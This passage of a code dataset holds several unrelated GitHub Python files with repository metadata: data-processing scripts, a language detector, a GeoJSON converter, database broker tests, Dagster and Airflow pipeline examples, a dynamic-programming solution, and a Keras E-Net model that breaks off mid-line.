df_all.drop_duplicates(['item_id'], inplace=True)\n df_all.reset_index(inplace=True)\n df_all.drop(['index'], axis=1, inplace=True)\n print(f'Dropped duplicates in all data. {time.time()-ss:.2f} s')\n \n del train_basic\n del test_basic\n del df_active\n gc.collect()\n\n print('Saving data...')\n if 'all_active_data.feather' in os.listdir(f'{dataPath}'):\n os.remove(f'{dataPath}/all_active_data.feather')\n print(f'Remove old all_active_data.feather')\n\n df_all.to_feather(f'{dataPath}/all_active_data.feather')\n print(f'all_active_data.feather saved! {time.time()-ss:.2f} s')\n","repo_name":"LowPass-DataScience/avito-demand-prediction-chanllege","sub_path":"avito-demand-prediction-challenge/python_codes/active_hdf5_to_feather.py","file_name":"active_hdf5_to_feather.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"26642536038","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 2 17:53:42 2021\n\n@author: ishka\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 26 14:48:17 2021\n\n@author: mathi\n\"\"\"\n\n# C:\\Users\\mathi\\OneDrive\\Desktop\\Trained_Output.txt\n\n\ndef function2(probability_1a,probability_2a,languages):\n\n print('Enter some text\\n')\n text = input()\n j=0\n k= 0\n\n alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ' ']\n count =[0]*28\n probability = [0]*28\n list1 = [0]*28\n list2 = [0]*28\n \n \n probability_1 = [float(i) for i in probability_1a]\n probability_2 = [float(i) for i in probability_2a]\n \n for i in text:\n k = k+1\n \n \n for i in text:\n for j in range(len(alphabet)):\n if i == alphabet[j]:\n count[j] = count[j]+1\n \n for i in range(len(alphabet)):\n probability[i] = count[i]/k\n \n \n for i in range(len(alphabet)):\n if probability[i] > probability_2[i]:\n list1[i] = probability[i] - probability_2[i]\n elif probability[i] < probability_2[i]:\n list1[i] = probability_2[i] - probability[i]\n \n \n for i in range(len(alphabet)):\n if probability[i] > probability_1[i]:\n list2[i] = probability[i] - probability_1[i]\n elif probability[i] < probability_1[i]:\n list2[i] = probability_1[i] - probability[i]\n \n \n\n if sum(list1)< sum(list2):\n print('\\nYour text is in' ,languages[0])\n else:\n print ('\\nYour text is in', languages[28])\n \n \n \n \n \n \n \n\nprint ('what is your file location')\nlocation= input()\n\n\nvariable1 = open(location, \"r\")\ncount = len(open(location).readlines())\n\n\n''' THIS PART OF THE CODE DETECT WHAT LANGUAGE EACH INDIVIDUAL FILE IS IN'''\n\nprobability_language_1 = [0]*28\nprobability_language_2 = [0]*28\n\nlanguages = variable1.readlines()\n\n \nfor i in range(1,28):\n probability_language_1[i] = languages[i]\n\n\nfor i in range(29,56):\n probability_language_2[(i-29)] = languages[i]\n\nvariable1.close()\n\nfunction2(probability_language_1, probability_language_2, languages)","repo_name":"ishkacolhoun/University_Code","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"37871744672","text":"import json\nimport sys\nfrom os.path import exists, isdir, isfile\nfrom typing import List\n\nfrom geotypes import GeoRecord\nfrom geoutilities import records_to_geojson, remove_nulls\nfrom rdflib import Graph\n\n# Parse the arguments from the CLI to get the input and output filenames\nif len(sys.argv) != 3:\n print(\"Usage: python case2geojson.py \")\n sys.exit(1)\n\ninput_filename: str = sys.argv[1]\noutput_filename: str = sys.argv[2]\n\n# Ensure the input file exists\nif not exists(input_filename) and not isfile(input_filename):\n print(f\"File not found: {input_filename}\")\n sys.exit(1)\n\n# Ensure the output directory exists\noutput_directory: str = output_filename[: output_filename.rfind(\"/\")]\nif not exists(output_directory) and not isdir(output_directory):\n print(f\"Directory not found: {output_directory}\")\n sys.exit(1)\n\n# Build the rdflib graph from the input file\ngraph: Graph = Graph()\ngraph.parse(input_filename)\n\n# Write the SPARQL query to get the data from the graph\nquery: str = \"\"\"\n SELECT ?lLatitude ?lLongitude ?lAddressType ?lCountry ?lLocality ?lPostalCode ?lRegion ?lStreet\n WHERE\n {\n ?nLocation a uco-location:Location .\n OPTIONAL\n {\n ?nLocation uco-core:hasFacet ?nLatLongFacet .\n ?nLatLongFacet a uco-location:LatLongCoordinatesFacet .\n OPTIONAL { ?nLatLongFacet uco-location:latitude ?lLatitude . }\n OPTIONAL { ?nLatLongFacet uco-location:longitude ?lLongitude . }\n }\n\n OPTIONAL {\n ?nLocation uco-core:hasFacet ?nSimpleAddressFacet .\n ?nSimpleAddressFacet a uco-location:SimpleAddressFacet .\n OPTIONAL { ?nSimpleAddressFacet uco-location:addressType ?lAddressType . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:country ?lCountry . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:locality ?lLocality . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:postalCode ?lPostalCode . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:region ?lRegion . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:street ?lStreet . }\n }\n }\n \"\"\"\n\nresults = graph.query(query)\n\n# Define the list of GeoRecords\nrecords: List[GeoRecord] = []\n\n# Loop through the results and add them to the list of GeoRecords if the latitude and longitude are present\nfor row in results:\n geo_record: GeoRecord = GeoRecord()\n geo_record.Latitude = row.lLatitude\n geo_record.Longitude = row.lLongitude\n geo_record.AddressType = row.lAddressType\n geo_record.Country = row.lCountry\n geo_record.Locality = row.lLocality\n geo_record.PostalCode = row.lPostalCode\n geo_record.Region = row.lRegion\n geo_record.Street = row.lStreet\n records.append(geo_record)\n\n# Convert the data to a GeoJSON structured object\ngeoJSON = records_to_geojson(records)\n\n# Remove null values from the GeoJSON object\ngeoDict: dict = geoJSON.reprJSON()\ngeoDict = remove_nulls(geoDict)\n\n# Write the GeoJSON object to the output file\nwith open(output_filename, \"w\") as output_file:\n output_file.write(json.dumps(geoDict, indent=4))\n","repo_name":"casework/CASE-Examples-Conversion","sub_path":"python/CASE2GeoJSON.py","file_name":"CASE2GeoJSON.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35173725846","text":"import logging, random\nfrom twisted.internet import defer\n\nimport sqlalchemy as SA\n\nfrom asynqueue import info, iteration\n\nfrom people import PeopleBroker\nfrom testbase import deferToDelay, TestHandler, IterationConsumer, TestCase\n\nfrom database import transact\n\n\nVERBOSE = False\n\nDELAY = 0.5\nDB_URL = 'mysql://test@localhost/test'\n#DB_URL = 'sqlite://'\n\n\nclass FakeConnection:\n def __init__(self):\n self.wasClosed = False\n def close(self):\n self.wasClosed = True\n\n\nclass TestImmediateShutdown(TestCase):\n def test_shutdown(self):\n broker = PeopleBroker(DB_URL)\n return broker.shutdown()\n\n \nclass BrokerTestCase(TestCase):\n verbose = False\n spew = False\n\n def brokerFactory(self, **kw):\n if 'verbose' not in kw:\n kw['verbose'] = self.isVerbose()\n if 'spew' not in kw:\n kw['spew'] = self.spew\n return PeopleBroker(DB_URL, **kw)\n \n def setUp(self):\n self.handler = TestHandler(self.isVerbose())\n logging.getLogger('asynqueue').addHandler(self.handler)\n self.broker = self.brokerFactory()\n return self.broker.waitUntilRunning()\n \n @defer.inlineCallbacks\n def tearDown(self):\n if getattr(getattr(self, 'broker', None), 'running', False):\n for tableName in ('people', 'foobars'):\n if hasattr(self.broker, tableName):\n yield self.broker.sql(\"DROP TABLE {}\".format(tableName))\n yield self.broker.shutdown()\n\n \nclass TestBasics(BrokerTestCase):\n verbose = False\n spew = False\n\n def _oneShutdown(self, null, broker):\n self.msg(\"Done shutting down broker '{}'\", broker)\n\n def test_barebones(self):\n self.assertTrue(hasattr(self, 'broker'))\n self.assertTrue(hasattr(self.broker, 'people'))\n \n @defer.inlineCallbacks\n def test_multipleShutdowns(self):\n for k in xrange(10):\n yield self.broker.shutdown()\n yield deferToDelay(0.02)\n \n def test_shutdownTwoBrokers(self):\n def shutEmDown(null):\n dList = []\n for broker in (self.broker, anotherBroker):\n dList.append(\n broker.shutdown().addCallback(\n self._oneShutdown, broker))\n return defer.DeferredList(dList)\n anotherBroker = self.brokerFactory()\n return anotherBroker.waitUntilRunning().addCallback(shutEmDown)\n\n def test_connect(self):\n def gotAll(null):\n prevItem = mutable.pop()\n while mutable:\n thisItem = mutable.pop()\n # Both should be connections, not necessarily the same\n # one\n self.failUnlessEqual(type(thisItem), type(prevItem))\n prevItem = thisItem\n\n mutable = []\n d1 = self.broker.connect().addCallback(mutable.append)\n d2 = self.broker.connect().addCallback(mutable.append)\n d3 = deferToDelay(DELAY).addCallback(\n lambda _: self.broker.connect()).addCallback(mutable.append)\n return defer.DeferredList([d1, d2, d3]).addCallback(gotAll)\n\n @defer.inlineCallbacks\n def test_twoConnections(self):\n firstConnection = yield self.broker.connect()\n yield self.broker.shutdown()\n self.broker = self.brokerFactory()\n secondConnection = yield self.broker.connect()\n self.failUnlessEqual(type(firstConnection), type(secondConnection))\n\n @defer.inlineCallbacks\n def test_sameUrlSameQueue(self):\n anotherBroker = self.brokerFactory()\n yield anotherBroker.waitUntilRunning()\n self.assertEqual(self.broker.q, anotherBroker.q)\n # The shutdown from one broker MUST be completed before any\n # other is tried.\n yield anotherBroker.shutdown()\n yield self.broker.shutdown()\n\n @defer.inlineCallbacks\n def test_deferToQueue_errback(self):\n anotherBroker = self.brokerFactory(returnFailure=True)\n d = anotherBroker.deferToQueue(lambda x: 1/0, 0)\n d.addCallbacks(\n lambda _: self.fail(\"Should have done the errback instead\"),\n self.assertIsFailure)\n yield d\n yield anotherBroker.shutdown()\n\n @defer.inlineCallbacks\n def test_transact_errback(self):\n anotherBroker = self.brokerFactory(returnFailure=True)\n d = anotherBroker.erroneousTransaction()\n d.addCallbacks(\n lambda _: self.fail(\"Should have done the errback instead\"),\n self.assertIsFailure)\n yield d\n yield anotherBroker.shutdown()\n\n @defer.inlineCallbacks\n def test_handleResult_asList(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n rowList = yield self.broker.handleResult(rp, asList=True)\n self.assertEqual(len(rowList), 5)\n for row in rowList:\n self.assertIn(row, self.broker.defaultRoster)\n \n @defer.inlineCallbacks\n def test_handleResult_asDeferator(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n fc = FakeConnection()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n dr = yield self.broker.handleResult(rp, conn=fc)\n for k, d in enumerate(dr):\n row = yield d\n self.assertIn(row, self.broker.defaultRoster)\n self.assertEqual(k, 4)\n self.assertTrue(fc.wasClosed)\n\n @defer.inlineCallbacks\n def test_handleResult_asProducer(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n fc = FakeConnection()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n consumer = IterationConsumer(self.verbose, 0.05)\n yield self.broker.handleResult(rp, consumer=consumer, conn=fc)\n yield consumer.d\n for k, row in enumerate(consumer.data):\n self.assertIn(row, self.broker.defaultRoster)\n self.assertEqual(k, 4)\n self.assertTrue(fc.wasClosed)\n \n @defer.inlineCallbacks\n def test_handleResult_empty(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select(\n [col.name_first, col.name_last]).where(\n col.name_first == 'Impossible')\n return s.execute()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n result = yield self.broker.handleResult(rp)\n self.assertEqual(result, [])\n \n\nclass TestTables(BrokerTestCase):\n verbose = False\n spew = False\n\n def _tableList(self):\n \"\"\"\n Adapted from\n https://www.mail-archive.com/sqlalchemy@googlegroups.com/msg00462.html\n \"\"\"\n def done(rows):\n return [x[0] for x in rows]\n \n eng = self.broker.q.engine\n if eng.name == 'sqlite':\n sql = \"\"\"\n SELECT name FROM sqlite_master\n WHERE type='table'\n ORDER BY name;\"\"\"\n elif eng.name == 'postgres':\n sql = \"\"\"\n SELECT c.relname as name,\n n.nspname as schema,c.relkind,\n u.usename as owner\n FROM pg_catalog.pg_class c\n LEFT JOIN pg_catalog.pg_user u ON u.usesysid = c.relowner\n LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace\n WHERE c.relkind IN ('r') AND pg_catalog.pg_table_is_visible(c.oid)\n ORDER BY 1,2;\n \"\"\"\n elif eng.name == 'mysql':\n sql = \"SHOW TABLES\"\n return self.broker.sql(sql).addCallback(done)\n \n @defer.inlineCallbacks\n def test_table(self):\n yield self.broker.makeFoobarTable()\n tables = yield self._tableList()\n for tableName in ('people', 'foobars'):\n self.assertIn(tableName, tables)\n\n @defer.inlineCallbacks\n def test_createTableWithIndex(self):\n yield self.broker.table(\n 'table_indexed',\n SA.Column('id', SA.Integer, primary_key=True),\n SA.Column('foo', SA.String(32)),\n SA.Column('bar', SA.String(64)),\n index_foobar=['foo', 'bar'])\n tables = yield self._tableList()\n self.assertIn('table_indexed', tables)\n yield self.broker.sql(\"DROP TABLE table_indexed\")\n\n @defer.inlineCallbacks\n def test_createTableWithUnique(self):\n yield self.broker.table(\n 'table_unique',\n SA.Column('id', SA.Integer, primary_key=True),\n SA.Column('foo', SA.String(32)),\n SA.Column('bar', SA.String(64)),\n unique_foobar=['foo', 'bar'])\n tables = yield self._tableList()\n self.assertIn('table_unique', tables)\n yield self.broker.sql(\"DROP TABLE table_unique\")\n\n @defer.inlineCallbacks\n def test_makeNewTable(self):\n yield self.broker.makeFoobarTable().addErrback(self.oops)\n table = self.broker.foobars\n isType = str(type(table))\n self.assertPattern(\n r'sqlalchemy.+[tT]able',\n \"AccessBroker().foobars should be an sqlalchemy Table() \"+\\\n \"object, but is '{}'\".format(isType))\n\n\nclass TestTransactions(BrokerTestCase):\n verbose = False\n spew = False\n\n def test_selectOneAndTwoArgs(self):\n def runInThread():\n self.failUnlessEqual(s('thisSelect'), False)\n s([self.broker.people], self.broker.people.c.id==1)\n self.failUnlessEqual(s('thisSelect'), True)\n self.failUnlessEqual(s('thatSelect'), False)\n s = self.broker.s\n return self.broker.q.call(runInThread).addErrback(self.oops)\n\n @defer.inlineCallbacks\n def test_selectZeroArgs(self):\n def runInThread():\n s('roosevelts')\n s([self.broker.people],\n self.broker.people.c.name_last == 'Roosevelt')\n return s().execute().fetchall()\n s = self.broker.s\n yield self.broker.q.call(runInThread)\n rows = yield self.broker.q.call(runInThread).addErrback(self.oops)\n nameList = [row[self.broker.people.c.name_first] for row in rows]\n for lastName in ('Franklin', 'Theodore'):\n self.failUnless(lastName in nameList)\n\n @defer.inlineCallbacks\n def test_iterate(self):\n dr = yield self.broker.everybody()\n self.assertIsInstance(dr, iteration.Deferator)\n rows = []\n for k, d in enumerate(dr):\n row = yield d\n self.msg(\"Row #{:d}: {}\", k+1, row)\n self.assertNotIn(row, rows)\n rows.append(row)\n self.assertEqual(len(rows), 5)\n \n @defer.inlineCallbacks\n def test_iterate_withConsumer(self):\n consumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=consumer)\n self.assertEqual(len(consumer.data), 5)\n \n @defer.inlineCallbacks\n def test_iterate_nextWhileIterating(self):\n slowConsumer = IterationConsumer(self.verbose, writeTime=0.2)\n # In this case, do NOT wait for the done-iterating deferred\n # before doing another transaction\n d = self.broker.everybody(consumer=slowConsumer)\n # Add a new person while we are iterating the people from the\n # last query\n yield self.broker.addPerson(\"George\", \"Washington\")\n # Confirm we have one more person now\n fastConsumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=fastConsumer)\n self.assertEqual(len(fastConsumer.data), 6)\n # Now wait for the slow consumer\n yield d\n # It still should only have gotten the smaller number of people\n self.assertEqual(len(slowConsumer.data), 5)\n # Wait for the slow consumer's last write delay, just to avoid\n # unclean reactor messiness\n yield slowConsumer.d\n\n @defer.inlineCallbacks\n def test_selex_select(self):\n cols = self.broker.people.c\n with self.broker.selex(cols.name_first) as sh:\n sh.where(cols.name_last == 'Luther')\n row = yield sh(asList=True)\n self.assertEqual(row[0][0], 'Martin')\n\n @defer.inlineCallbacks\n def test_selex_delete(self):\n table = self.broker.people\n with self.broker.selex(table.delete) as sh:\n sh.where(table.c.name_last == 'Luther')\n rp = yield sh(raw=True)\n N = rp.rowcount\n self.assertGreater(N, 0)\n\n def test_selex_nested(self):\n def gotMembers(members):\n self.assertIn(\"Franklin\", members)\n self.assertIn(\"Theodore\", members)\n return self.broker.familyMembers(\"Roosevelt\").addCallback(gotMembers)\n \n @defer.inlineCallbacks \n def test_selectorator(self):\n cols = self.broker.people.c\n s = self.broker.select([cols.name_last, cols.name_first])\n dr = yield self.broker.selectorator(s)\n rows = []\n for k, d in enumerate(dr):\n row = yield d\n self.msg(\"Row #{:d}: {}\", k+1, row)\n self.assertNotIn(row, rows)\n rows.append(row)\n self.assertEqual(len(rows), 5)\n\n @defer.inlineCallbacks\n def test_selectorator_withConsumer(self):\n consumer = IterationConsumer(self.verbose)\n cols = self.broker.people.c\n s = self.broker.select([cols.name_last, cols.name_first])\n consumer = yield self.broker.selectorator(s, consumer)\n self.assertEqual(len(consumer.data), 5)\n\n @defer.inlineCallbacks\n def test_selectorator_twoConcurrently(self):\n slowConsumer = IterationConsumer(self.verbose, writeTime=0.2)\n cols = self.broker.people.c\n # In this case, do NOT wait for the done-iterating deferred\n # before doing another selectoration\n dSelectExecuted = defer.Deferred()\n s = self.broker.select([cols.name_last, cols.name_first])\n d = self.broker.selectorator(s, slowConsumer, dSelectExecuted)\n # Wait until the query was executed...\n yield dSelectExecuted\n # ...then add a new person while we are iterating the people\n # from that query\n yield self.broker.addPerson(\"George\", \"Washington\")\n # Confirm we have one more person now\n fastConsumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=fastConsumer)\n #self.assertEqual(len(fastConsumer.data), 6)\n # Now wait for the slow consumer\n yield d\n # It still should only have gotten the smaller number of people\n self.assertEqual(len(slowConsumer.data), 5)\n # Wait for the slow consumer's last write delay, just to avoid\n # unclean reactor messiness\n yield slowConsumer.d\n\n def test_transactionAutoStartup(self):\n d = self.broker.fakeTransaction(1)\n d.addCallback(self.failUnlessEqual, 2)\n return d\n\n def test_nestTransactions(self):\n d = self.broker.nestedTransaction(1)\n d.addCallback(self.failUnlessEqual, 3)\n return d\n\n @defer.inlineCallbacks\n def test_produceRows(self):\n def initialInstead(name):\n delay = random.uniform(0, 0.2)\n return deferToDelay(delay).addCallback(\n lambda _: \"{}.\".format(name[0].upper()))\n duggars = [\n 'Alice', 'bob', 'Charlie', 'david',\n 'Engelbert', 'Francis', 'george', 'Hortense',\n 'Ivan', 'Jim', 'kate', 'Lolita',]\n IDs = yield self.broker.produceRows(\n initialInstead, duggars,\n self.broker.people, 'name_first', name_last='Duggar')\n N = len(duggars)\n self.msg(\"Wrote {:d} new rows, got IDs: {}\", N, IDs)\n self.assertEqual([int(x[0]) for x in IDs], range(6, N+6))\n names = yield self.broker.familyMembers('Duggar')\n for k, letter in enumerate(\"ABCDEFGHIJKL\"):\n self.assertEqual(names[k], \"{}.\".format(letter))\n \n","repo_name":"edsuom/sAsync","sub_path":"sasync/test/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":16174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"9880005437","text":"import pandas as pd\nfrom dagster_pipes import PipesContext, open_dagster_pipes\n\n\ndef main():\n orders_df = pd.DataFrame({\"order_id\": [1, 2], \"item_id\": [432, 878]})\n total_orders = len(orders_df)\n # get the Dagster Pipes context\n context = PipesContext.get()\n # send structured metadata back to Dagster\n context.report_asset_materialization(metadata={\"total_orders\": total_orders})\n\n\nif __name__ == \"__main__\":\n # connect to Dagster Pipes\n with open_dagster_pipes():\n main()\n","repo_name":"dagster-io/dagster","sub_path":"examples/docs_snippets/docs_snippets/guides/dagster/dagster_pipes/subprocess/part_2/step_3_materialization/external_code.py","file_name":"external_code.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"} +{"seq_id":"15913317707","text":"from airflow import DAG\nfrom airflow.providers.http.sensors.http import HttpSensor\nfrom airflow.operators.python import PythonOperator\nfrom airflow.operators.python import PythonVirtualenvOperator\nfrom airflow.operators.bash import BashOperator\nfrom airflow.sensors.filesystem import FileSensor\nfrom airflow.operators.email import EmailOperator\n\n\nfrom datetime import datetime, timedelta\n\n\ndefault_args = {\n \"owner\":\"airflow\",\n \"email_on_failure\": True,\n \"email_on_retry\": True,\n \"email\":\"jsbazman@gmail.com\",\n \"retries\": 3,\n \"retry_delay\": timedelta(minutes = 5)\n}\n\n\ndef download_csv():\n \"\"\"\n This function get data from a URL and saves it locally as CSV file in the specified path\n \"\"\"\n\n import requests\n\n url = 'https://raw.githubusercontent.com/jbassie/WEB-SCRAPING/main/REAL_ESTATE/data/aruba_reality.csv'\n file_path = '/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.csv'\n try:\n response = requests.get(url)\n if response.status_code ==200:\n with open(file_path, 'wb') as file:\n file.write(response.content)\n print(f\"File downloaded and Saved to {file_path}\")\n else:\n print(f\"Failed to download file {response.status_code}\")\n except Exception as e:\n print(f\"An Exception Occured: {str(e)}\")\n\n\ndef convert_to_parquet():\n \"\"\"\n Using Pandas Library,we will convert a csv file to a parquet file\n \"\"\"\n import pandas as pd\n import fastparquet\n\n columns= ['name','location','property_status','property_type','price','bedrooms','bathrooms','Pool','Latitude','Longitude','link']\n import_data = pd.read_csv('/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.csv')\n import_data = list(import_data)\n data = pd.DataFrame([import_data], columns=columns)\n data.to_parquet('/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.parquet', engine= 'fastparquet')\n print(\"Sucessfully created a Parquet File\")\n\n\n\nwith DAG('simple_dag', start_date = datetime(2023,9,29),\n schedule_interval = '0 8 * * * ', default_args = default_args, catchup = False) as dag:\n\n #check if the URL is available \n is_data_available = HttpSensor(\n task_id = 'is_data_available',\n http_conn_id = 'real_estate_api',\n endpoint = 'jbassie/WEB-SCRAPING/main/REAL_ESTATE/data/aruba_reality.csv',\n response_check = lambda response: \"name\" in response.text,\n poke_interval = 5,\n timeout = 20\n )\n\n download_csv = PythonVirtualenvOperator(\n task_id = 'download_csv',\n python_callable = download_csv,\n dag = dag,\n email_on_failure = True,\n system_site_packages = True\n )\n\n #check if a real_estate.csv file is available locally\n is_real_estate_file_available = FileSensor(\n task_id = 'is_real_estate_file_available',\n fs_conn_id = 'data_path',\n filepath = 'real_estate.csv',\n poke_interval = 5,\n timeout = 20\n )\n\n convert_to_parquet = PythonVirtualenvOperator(\n task_id = 'convert_to_parquet',\n python_callable = convert_to_parquet,\n dag = dag,\n system_site_packages = True,\n email_on_failure = True\n )\n\n send_email_notification = EmailOperator(\n task_id = \"send_email_notification\",\n to = \"jsbazman@gmail.com\",\n subject = 'Simple Dag',\n html_content = \"

Congratulations, your pipeline was successful !!

\"\n )\n\nis_data_available >> download_csv >> is_real_estate_file_available >> convert_to_parquet >> send_email_notification\n","repo_name":"jbassie/WEB-SCRAPING","sub_path":"simple_dag.py","file_name":"simple_dag.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"40309740050","text":"import sys\n\ndef solution(n,m,space):\n dx = [1,1,1]\n dy = [-1,0,1]\n dp = [[[1e7,1e7,1e7] for _ in range(m)] for _ in range(n)]\n\n for i in range(m):\n for j in range(3):\n dp[0][i][j] = space[0][i]\n \n for i in range(1, n):\n for j in range(m):\n for k in range(3):\n for l in range(3):\n if k == l or not( 0 <= i - dx[l] < n and 0 <= j - dy[l] < m ):\n continue\n dp[i][j][k] = min(dp[i-dx[l]][j-dy[l]][l] + space[i][j], dp[i][j][k])\n\n ans = []\n for a in dp[-1]:\n ans.append(min(a))\n \n print(min(ans))\n\n\n\nif __name__ == \"__main__\" :\n input = sys.stdin.readline\n n,m = map(int,input().split())\n space = [list(map(int,input().split())) for _ in range(n)]\n solution(n,m,space)","repo_name":"choisaywhy/boj","sub_path":"grd/17485.py","file_name":"17485.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"10287890177","text":"import numpy as np\nimport os\nimport skimage.io as io\nimport skimage.transform as trans\nimport numpy as np\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras import backend as keras\nfrom loss_SAL import *\n\nIMAGE_SIZE = 256\nfilter = 24\n\n\n#####-----E-net------#####\n# filters,kernel_size,strides\ndef initial_block(inp, nb_filter=13, nb_row=3, nb_col=3, strides=(2, 2)):\n conv = Conv2D(nb_filter, (nb_row, nb_col), padding='same', strides=strides)(inp)\n max_pool = MaxPooling2D()(inp)\n merged = concatenate([conv, max_pool], axis=3)\n return merged\n\ndef bottleneck(inp, output, internal_scale=4, asymmetric=0, dilated=0, downsample=False, dropout_rate=0.1):\n # main branch\n internal = output // internal_scale\n encoder = inp\n # 1x1\n input_stride = 2 if downsample else 1 # the 1st 1x1 projection is replaced with a 2x2 convolution when downsampling\n encoder = Conv2D(internal, (input_stride, input_stride),\n # padding='same',\n strides=(input_stride, input_stride), use_bias=False)(encoder)\n # Batch normalization + PReLU\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n # conv\n if not asymmetric and not dilated:\n encoder = Conv2D(internal, (3, 3), padding='same')(encoder)\n elif asymmetric:\n encoder = Conv2D(internal, (1, asymmetric), padding='same', use_bias=False)(encoder)\n encoder = Conv2D(internal, (asymmetric, 1), padding='same')(encoder)\n elif dilated:\n encoder = Conv2D(internal, (3, 3), dilation_rate=(dilated, dilated), padding='same')(encoder)\n else:\n raise (Exception('You shouldn\\'t be here'))\n\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n # 1x1\n encoder = Conv2D(output, (1, 1), use_bias=False)(encoder)\n\n encoder = BatchNormalization(momentum=0.1)(encoder) # enet uses momentum of 0.1, keras default is 0.99\n encoder = SpatialDropout2D(dropout_rate)(encoder)\n\n other = inp\n # other branch\n if downsample:\n other = MaxPooling2D()(other)\n\n other = Permute((1, 3, 2))(other)\n pad_feature_maps = output - inp.get_shape().as_list()[3]\n tb_pad = (0, 0)\n lr_pad = (0, pad_feature_maps)\n other = ZeroPadding2D(padding=(tb_pad, lr_pad))(other)\n other = Permute((1, 3, 2))(other)\n\n encoder = add([encoder, other])\n encoder = PReLU(shared_axes=[1, 2])(encoder)\n\n return encoder\n\ndef en_build(inp, dropout_rate=0.01):\n enet = initial_block(inp)\n enet = BatchNormalization(momentum=0.1)(enet) # enet_unpooling uses momentum of 0.1, keras default is 0.99\n enet = PReLU(shared_axes=[1, 2])(enet)\n enet = bottleneck(enet, 64, downsample=True, dropout_rate=dropout_rate) # bottleneck 1.0\n for _ in range(4):\n enet = bottleneck(enet, 64, dropout_rate=dropout_rate) # bottleneck 1.i\n\n enet = bottleneck(enet, 128, downsample=True) # bottleneck 2.0\n # bottleneck 2.x and 3.x\n for _ in range(2):\n enet = bottleneck(enet, 128) # bottleneck 2.1\n enet = bottleneck(enet, 128, dilated=2) # bottleneck 2.2\n enet = bottleneck(enet, 128, asymmetric=5) # bottleneck 2.3\n enet = bottleneck(enet, 128, dilated=4) # bottleneck 2.4\n enet = bottleneck(enet, 128) # bottleneck 2.5\n enet = bottleneck(enet, 128, dilated=8) # bottleneck 2.6\n enet = bottleneck(enet, 128, asymmetric=5) # bottleneck 2.7\n enet = bottleneck(enet, 128, dilated=16) # bottleneck 2.8\n\n return enet\n\n# decoder\ndef de_bottleneck(encoder, output, upsample=False, reverse_module=False):\n internal = output // 4\n\n x = Conv2D(internal, (1, 1), use_bias=False)(encoder)\n x = BatchNormalization(momentum=0.1)(x)\n x = Activation('relu')(x)\n if not upsample:\n x = Conv2D(internal, (3, 3), padding='same', use_bias=True)(x)\n else:\n x = Conv2DTranspose(filters=internal, kernel_size=(3, 3), strides=(2, 2), padding='same')(x)\n x = BatchNormalization(momentum=0.1)(x)\n x = Activation('relu')(x)\n\n x = Conv2D(output, (1, 1), padding='same', use_bias=False)(x)\n\n other = encoder\n if encoder.get_shape()[-1] != output or upsample:\n other = Conv2D(output, (1, 1), padding='same', use_bias=False)(other)\n other = BatchNormalization(momentum=0.1)(other)\n if upsample and reverse_module is not False:\n other = UpSampling2D(size=(2, 2))(other)\n\n if upsample and reverse_module is False:\n decoder = x\n else:\n x = BatchNormalization(momentum=0.1)(x)\n decoder = add([x, other])\n decoder = Activation('relu')(decoder)\n\n return decoder\n\ndef de_build(encoder, nc):\n enet = de_bottleneck(encoder, 64, upsample=True, reverse_module=True) # bottleneck 4.0\n enet = de_bottleneck(enet, 64) # bottleneck 4.1\n enet = de_bottleneck(enet, 64) # bottleneck 4.2\n enet = de_bottleneck(enet, 16, upsample=True, reverse_module=True) # bottleneck 5.0\n enet = de_bottleneck(enet, 16) # bottleneck 5.1\n\n enet = Conv2DTranspose(filters=nc, 